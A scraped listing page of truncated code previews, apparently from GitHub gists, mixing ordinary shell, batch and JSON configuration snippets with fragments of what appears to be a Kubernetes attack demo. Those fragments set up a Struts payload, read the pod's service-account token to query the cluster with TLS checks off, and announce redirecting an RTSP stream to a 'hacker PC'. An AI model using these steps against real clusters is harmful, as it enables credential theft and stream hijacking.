kubectl delete pod $(kubectl get pods -A | awk '/Evicted/ {print $2}')
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set "filtro=%1" | |
if [%filtro%]==[] ( | |
set "filtro=*.mp4" | |
) | |
for /R %%a in (%filtro%) do call :doWork "%%a" | |
PAUSE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
DOCKER_IMAGE_NAME="fiduciaedge/fecb-sdk-python-example-hc-sandbox" | |
DOCKER_IMAGE_TAG="v1.4.1-l4t-r35.1.0-gpu-2" | |
init_vars() { | |
ARCH=$(uname -m) | |
case $ARCH in | |
aarch64*) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# check if a program exist | |
#!/bin/bash | |
install_j2cli() { | |
echo -n "Installing j2cli Python module globally..." | |
sudo apt update && sudo pip3 install j2cli --system | |
check_exist j2 | |
} | |
check_exist() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
REVERSE_PROXY_IP="192.168.10.42" | |
apk update | |
apk add python3 | |
apk add py3-pip | |
apk add curl | |
# setup struts payload |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ATTACK_TARGET=$1 | |
if [ $# -ne 1 ]; then | |
echo "usage: script secure OR script insecure" | |
exit 1 | |
fi | |
# get list of running services | |
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Checking list of running services in k8s cluster..." | |
# get list of running services | |
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1 | |
if [ $? -eq 0 ]; then | |
sleep 5 | |
echo "Redirecting RTSP stream to hacker PC..." | |
# modify rtsp stream |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"source": "publisher", | |
"sourceProtocol": "automatic", | |
"sourceAnyPortEnable": false, | |
"sourceFingerprint": "", | |
"sourceOnDemand": false, | |
"sourceOnDemandStartTimeout": "10s", | |
"sourceOnDemandCloseAfter": "10s", | |
"sourceRedirect": "", | |
"disablePublisherOverride": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"source": "publisher", | |
"sourceProtocol": "automatic", | |
"sourceAnyPortEnable": false, | |
"sourceFingerprint": "", | |
"sourceOnDemand": false, | |
"sourceOnDemandStartTimeout": "10s", | |
"sourceOnDemandCloseAfter": "10s", | |
"sourceRedirect": "", | |
"disablePublisherOverride": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"metadata": { | |
"name": "busybox" | |
}, | |
"image":{ | |
"image": "busybox" | |
}, | |
"command": [ | |
"top" | |
], |
NewerOlder